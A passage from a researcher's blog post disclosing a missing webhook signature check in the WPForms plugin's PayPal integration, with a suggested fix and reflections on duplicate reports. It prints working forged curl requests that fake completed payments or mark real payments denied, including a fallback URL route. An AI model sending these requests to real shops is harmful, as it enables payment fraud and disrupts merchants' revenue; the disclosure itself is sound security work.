&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;s1&#34;&gt;      &amp;#34;id&amp;#34;: &amp;#34;&amp;lt;PAYPAL_CAPTURE_ID&amp;gt;&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;s1&#34;&gt;      &amp;#34;status&amp;#34;: &amp;#34;COMPLETED&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;s1&#34;&gt;      &amp;#34;amount&amp;#34;: {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;s1&#34;&gt;        &amp;#34;value&amp;#34;: &amp;#34;&amp;lt;AMOUNT&amp;gt;&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;s1&#34;&gt;        &amp;#34;currency_code&amp;#34;: &amp;#34;USD&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;s1&#34;&gt;      }
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;s1&#34;&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;s1&#34;&gt;  }&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The request has no &lt;code&gt;Paypal-Transmission-Id&lt;/code&gt;, no &lt;code&gt;Paypal-Transmission-Sig&lt;/code&gt;, no &lt;code&gt;Paypal-Transmission-Time&lt;/code&gt;, no &lt;code&gt;Paypal-Cert-Url&lt;/code&gt; and no &lt;code&gt;Paypal-Auth-Algo&lt;/code&gt;. A genuine PayPal webhook would contain all five. None of these are checked, validated or even read by the plugin.&lt;/p&gt;
&lt;p&gt;Server response: &lt;code&gt;HTTP/1.1 200 OK&lt;/code&gt; with body &lt;code&gt;WPForms PayPal: PAYMENT.CAPTURE.COMPLETED event received.&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;State change in the database: the row identified by &lt;code&gt;transaction_id = &amp;lt;PAYPAL_CAPTURE_ID&amp;gt;&lt;/code&gt; moves from &lt;code&gt;status = &#39;processed&#39;&lt;/code&gt; to &lt;code&gt;status = &#39;completed&#39;&lt;/code&gt;. A log entry is appended to &lt;code&gt;wp_wpforms_payment_meta&lt;/code&gt; saying &amp;ldquo;PayPal Commerce payment was completed.&amp;rdquo;. All &amp;ldquo;on completed payment&amp;rdquo; hooks fire. Email notifications go out. CRM integrations sync. Conditional logic actions execute. License keys get mailed. Downloads unlock. The world thinks money changed hands.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://blog.himanshuanand.com/images/response.png&#34; alt=&#34;terminal screenshot of the curl request and the 200 OK response&#34;&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;the exploit, in one screen. left side is the forged curl. right side is the database showing status going from processed to completed. no PayPal involved anywhere in this conversation.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Step 3 (the mean version): downgrade a real paying customer to denied.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;curl -i -X POST &lt;span class=&#34;s1&#34;&gt;&amp;#39;https://TARGET/wp-json/wpforms/ppc/webhooks&amp;#39;&lt;/span&gt; &lt;span class=&#34;se&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;se&#34;&gt;&lt;/span&gt;  -H &lt;span class=&#34;s1&#34;&gt;&amp;#39;Content-Type: application/json&amp;#39;&lt;/span&gt; &lt;span class=&#34;se&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;se&#34;&gt;&lt;/span&gt;  --data-raw &lt;span class=&#34;s1&#34;&gt;&amp;#39;{
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;s1&#34;&gt;    &amp;#34;event_type&amp;#34;: &amp;#34;PAYMENT.CAPTURE.DENIED&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;s1&#34;&gt;    &amp;#34;resource&amp;#34;: {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;s1&#34;&gt;      &amp;#34;id&amp;#34;: &amp;#34;&amp;lt;PAYPAL_CAPTURE_ID_OF_REAL_PAYMENT&amp;gt;&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;s1&#34;&gt;      &amp;#34;status&amp;#34;: &amp;#34;DENIED&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;s1&#34;&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;s1&#34;&gt;  }&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;That handler flips a real paid order to failed. The customer paid. The shop owner thinks they did not. Refund automation kicks in. Trust is broken. This is a DoS against actual revenue.&lt;/p&gt;
&lt;h2 id=&#34;the-fallback-url-that-does-not-need-the-rest-api&#34;&gt;the fallback url that does not need the rest api&lt;/h2&gt;
&lt;p&gt;Some WordPress hardening guides recommend disabling the REST API for unauthenticated users. WPForms anticipated that. The plugin registers a fallback route that is triggered by a URL parameter:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;curl -i -X POST &lt;span class=&#34;s1&#34;&gt;&amp;#39;https://TARGET/?wpforms_paypal_commerce_webhooks=1&amp;#39;&lt;/span&gt; &lt;span class=&#34;se&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;se&#34;&gt;&lt;/span&gt;  -H &lt;span class=&#34;s1&#34;&gt;&amp;#39;Content-Type: application/json&amp;#39;&lt;/span&gt; &lt;span class=&#34;se&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;se&#34;&gt;&lt;/span&gt;  --data-raw &lt;span class=&#34;s1&#34;&gt;&amp;#39;{
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;s1&#34;&gt;    &amp;#34;event_type&amp;#34;: &amp;#34;PAYMENT.CAPTURE.COMPLETED&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;s1&#34;&gt;    &amp;#34;resource&amp;#34;: {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;s1&#34;&gt;      &amp;#34;id&amp;#34;: &amp;#34;&amp;lt;PAYPAL_CAPTURE_ID&amp;gt;&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;s1&#34;&gt;      &amp;#34;status&amp;#34;: &amp;#34;COMPLETED&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;s1&#34;&gt;      &amp;#34;amount&amp;#34;: {&amp;#34;value&amp;#34;: &amp;#34;&amp;lt;AMOUNT&amp;gt;&amp;#34;, &amp;#34;currency_code&amp;#34;: &amp;#34;USD&amp;#34;}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;s1&#34;&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;s1&#34;&gt;  }&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Same handler. Same lack of verification. Same outcome. So the &amp;ldquo;disable REST API&amp;rdquo; mitigation that lots of WordPress shops apply does not help here.&lt;/p&gt;
&lt;p&gt;This is a small but important lesson. When you build a fallback path, the fallback path needs the same security as the primary path. Every time. No exceptions. A fallback that skips the primary path&amp;rsquo;s checks is not a fallback. It is a backdoor.&lt;/p&gt;
&lt;h2 id=&#34;the-same-plugin-gets-stripe-and-square-right&#34;&gt;the same plugin gets stripe and square right&lt;/h2&gt;
&lt;p&gt;Here is the part that makes the bug feel weirdest. WPForms knows how to verify webhooks. They do it for Stripe. They do it for Square. They just did not do it for PayPal.&lt;/p&gt;
&lt;p&gt;The clearest way to see it is to put the two handlers side by side. Both files live in the same plugin. Both register a public webhook route with &lt;code&gt;permission_callback =&amp;gt; &#39;__return_true&#39;&lt;/code&gt;. Both read the raw body the same way. What happens after that line is the whole bug.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-diff&#34; data-lang=&#34;diff&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;# both files start identical:
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  $this-&amp;gt;payload = file_get_contents( &amp;#39;php://input&amp;#39; );
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;# ─── src/Integrations/Stripe/Api/WebhookRoute.php:170 ──────────────
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;gi&#34;&gt;+ $event = Webhook::constructEvent(
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;gi&#34;&gt;+     $this-&amp;gt;payload,
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;gi&#34;&gt;+     $this-&amp;gt;get_webhook_signature(),       // reads HTTP_STRIPE_SIGNATURE
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;gi&#34;&gt;+     $this-&amp;gt;get_webhook_signing_secret()
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;gi&#34;&gt;+ );
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;gi&#34;&gt;+ // throws SignatureVerificationException on a bad signature
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;gi&#34;&gt;+ // caught at line 196 and rejected with HTTP 403
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;gi&#34;&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;# ─── src/Integrations/PayPalCommerce/Api/WebhookRoute.php:170 ──────
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;gd&#34;&gt;- // no Paypal-Transmission-Sig header read
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;gd&#34;&gt;- // no webhook id retrieved from wpforms_setting()
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;gd&#34;&gt;- // no call to /v1/notifications/verify-webhook-signature
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;gd&#34;&gt;- // no rejection path for unsigned requests
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;gd&#34;&gt;&lt;/span&gt;  $event = json_decode( $this-&amp;gt;payload );    // straight to the dispatcher
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The green lines are what Stripe has. The red lines are what PayPal is missing. The unchanged line at the top is what both do. That gap is the entire exploitable surface.&lt;/p&gt;
&lt;p&gt;Square gets it right too. &lt;code&gt;Square/Api/WebhookEvent.php:29&lt;/code&gt; calls &lt;code&gt;WebhooksHelper::isValidWebhookEventSignature()&lt;/code&gt; against the &lt;code&gt;X-Square-HmacSha256-Signature&lt;/code&gt; header and returns 403 on failure. Same pattern, different header name. So the asymmetry is not Stripe vs the rest. It is PayPal vs every other payment provider in the same plugin.&lt;/p&gt;
&lt;p&gt;Two integrations get this right. One does not. That asymmetry is the strongest hint that this was an oversight rather than a design choice. Someone wrote the PayPal integration in a hurry, copied the route registration pattern but forgot to copy the verification pattern. The tests passed because PayPal genuinely calls the endpoint with valid bodies and the bodies look fine. Nobody tested the case where the caller is not PayPal.&lt;/p&gt;
&lt;p&gt;This pattern shows up in a lot of plugins. Multiple payment integrations, two of them verify, one of them does not. Worth grepping for if you do plugin auditing.&lt;/p&gt;
&lt;h2 id=&#34;the-suggested-fix&#34;&gt;the suggested fix&lt;/h2&gt;
&lt;p&gt;PayPal documents the verification flow &lt;a href=&#34;https://developer.paypal.com/api/rest/webhooks/rest/#link-verifywebhooksignature&#34;&gt;here&lt;/a&gt;. The shape of the fix:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// In dispatch_paypal_webhooks_payload(), before json_decode:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$headers&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;s1&#34;&gt;&amp;#39;auth_algo&amp;#39;&lt;/span&gt;         &lt;span class=&#34;o&#34;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$_SERVER&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;HTTP_PAYPAL_AUTH_ALGO&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;         &lt;span class=&#34;o&#34;&gt;??&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;s1&#34;&gt;&amp;#39;cert_url&amp;#39;&lt;/span&gt;          &lt;span class=&#34;o&#34;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$_SERVER&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;HTTP_PAYPAL_CERT_URL&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;          &lt;span class=&#34;o&#34;&gt;??&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;s1&#34;&gt;&amp;#39;transmission_id&amp;#39;&lt;/span&gt;   &lt;span class=&#34;o&#34;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$_SERVER&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;HTTP_PAYPAL_TRANSMISSION_ID&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;   &lt;span class=&#34;o&#34;&gt;??&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;s1&#34;&gt;&amp;#39;transmission_sig&amp;#39;&lt;/span&gt;  &lt;span class=&#34;o&#34;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$_SERVER&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;HTTP_PAYPAL_TRANSMISSION_SIG&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;  &lt;span class=&#34;o&#34;&gt;??&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;s1&#34;&gt;&amp;#39;transmission_time&amp;#39;&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$_SERVER&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;HTTP_PAYPAL_TRANSMISSION_TIME&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;??&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;!&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$this&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;verify_webhook_signature&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$headers&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$this&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;payload&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$this&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;get_webhook_id&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;WP_REST_Response&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;error&amp;#39;&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;invalid signature&amp;#39;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;],&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;403&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;verify_webhook_signature&lt;/code&gt; calls PayPal&amp;rsquo;s &lt;code&gt;/v1/notifications/verify-webhook-signature&lt;/code&gt; endpoint with the stored webhook ID (retrieved from &lt;code&gt;wpforms_setting(&#39;paypal-commerce-webhooks-id-&#39; . $mode)&lt;/code&gt;). PayPal verifies the signature against its own certificate chain and returns &lt;code&gt;SUCCESS&lt;/code&gt; or &lt;code&gt;FAILURE&lt;/code&gt;. The handler rejects anything that is not &lt;code&gt;SUCCESS&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;If you want to do it locally without the round trip, you can verify the signature against the PayPal certificate offline. PayPal documents the offline verification flow too. Either works. The point is to verify, somehow, with the actual signature material, against PayPal&amp;rsquo;s published trust anchor.&lt;/p&gt;
&lt;h2 id=&#34;what-10-duplicate-reports-actually-means&#34;&gt;what 10 duplicate reports actually means&lt;/h2&gt;
&lt;p&gt;This bug got reported by 11 of us in 6 weeks. Let me stop and think about what that number actually tells us.&lt;/p&gt;
&lt;p&gt;The vendor sees 11 unrelated researchers, all reporting the same root cause, in totally different words, through different intake channels, some using AI assistance and some not. The bug was sitting in production for around 8 weeks before the first report. If the rate of independent discovery is roughly one researcher per 4 to 5 days for the entire period, then in the time before the first report it is reasonable to assume at least 4 to 5 finders existed who did not report. Or sold instead. Or sat on it. Or were attackers who used it quietly.&lt;/p&gt;
&lt;p&gt;The probability that everyone who finds a bug like this reports it is zero. The actual base rate for &amp;ldquo;researchers who find a bug and report it&amp;rdquo; versus &amp;ldquo;people who find a bug and do something else&amp;rdquo; is unknown but it is definitely not 100%. Reasonable estimates I have seen from people who do triage at scale put the report rate somewhere between 10% and 50% depending on the bug class, the bounty, the program&amp;rsquo;s friendliness and the researcher&amp;rsquo;s personal incentives. If you take the optimistic 50% rate, then 11 reports means roughly 22 finders. If you take the more pessimistic 20% rate, it is more like 55 finders.&lt;/p&gt;
&lt;p&gt;Now read the previous paragraph again with attacker incentives in mind. A bug like this one prints money. It does not need elevated access. It runs against any site with a PayPal integration. There is no exotic primitive to chain. There is no exploit dev cost. The cost of &amp;ldquo;finding and using&amp;rdquo; this bug is the same as the cost of &amp;ldquo;finding and reporting&amp;rdquo; it, minus the time spent writing a polite email to the vendor.&lt;/p&gt;
&lt;p&gt;This is the part of the 90 day disclosure model that I keep coming back to. The model assumes the people finding a bug are mostly the same set as the people reporting it. The model assumes the gap between &amp;ldquo;first find&amp;rdquo; and &amp;ldquo;second find&amp;rdquo; is large enough that the vendor&amp;rsquo;s patch can ship before the second person knows. Neither assumption holds anymore.&lt;/p&gt;
&lt;p&gt;If 11 of us found the same bug in 6 weeks, the right question is not &amp;ldquo;why so many duplicates&amp;rdquo;, it is &amp;ldquo;where are the other ones&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://blog.himanshuanand.com/images/iceberg.jpg&#34; alt=&#34;iceberg meme: 11 reporters above water, unknown attackers and unreported finders below&#34;&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;the 11 of us who reported are the part above the waterline. the part below the waterline is the people who found the same bug and chose to do something else with it. nobody knows how big that part is. that is the problem.&lt;/em&gt;&lt;/p&gt;
&lt;h2 id=&#34;lessons-for-bug-finders&#34;&gt;lessons for bug finders&lt;/h2&gt;
&lt;p&gt;For people who do this kind of work, a few things I want to put in writing.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Grep for &lt;code&gt;permission_callback&lt;/code&gt; first.&lt;/strong&gt; In WordPress plugin audits, this is the single most productive grep you can run. &lt;code&gt;__return_true&lt;/code&gt; is the WordPress equivalent of &amp;ldquo;no auth&amp;rdquo;. Every match deserves a look at what the callback does. If the callback mutates state, you might be five minutes away from a finding.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Look for asymmetries inside one project.&lt;/strong&gt; If a plugin verifies Stripe webhooks but not PayPal webhooks, that asymmetry is a bug shape. Same logic applies to any pair of &amp;ldquo;the same kind of thing done two different ways&amp;rdquo;. File downloads handled one way in one route and a different way in another. User input validated in one form and not the other. Authentication checks present in one endpoint and missing in the next. Project internal asymmetries are gold.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Fallback paths deserve their own audit.&lt;/strong&gt; Every time you find a security check in the main path, look for a fallback that skips it. Plugins love fallbacks. URL parameters, query strings, alternate endpoints, legacy compatibility shims. The fallback is often where the careful path&amp;rsquo;s checks got forgotten.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Filters that override permissions are landmines.&lt;/strong&gt; When you see something like &lt;code&gt;add_filter(&#39;wpforms_current_user_can&#39;, &#39;__return_true&#39;)&lt;/code&gt; inside a code path, that path is running with elevated trust. Anything that lands in that path bypasses capability checks. Map every entry point that reaches it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The CVE classification might not match the actual bug.&lt;/strong&gt; Reporters do not always control how the bug gets classified in public databases. If the public advisory describes your bug as a CSRF and your bug is actually missing webhook auth, the patch the vendor ships might address the CSRF interpretation and leave the actual bug alive. Test the patch yourself. Do not assume &amp;ldquo;patched in 1.10.0.3&amp;rdquo; means &amp;ldquo;your bug is closed&amp;rdquo;. Re-run the proof of concept. Verify. The CVE database is not your QA team.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Submit anyway, even when it is a dupe.&lt;/strong&gt; I am reporter 11 and I will probably get zero credit on the CVE and zero bounty money. That is fine. The signal to the vendor of &amp;ldquo;10 of us think this is critical, plus reporter 11&amp;rdquo; is more useful than 10 alone. Vendors do prioritize by report count. Show up.&lt;/p&gt;
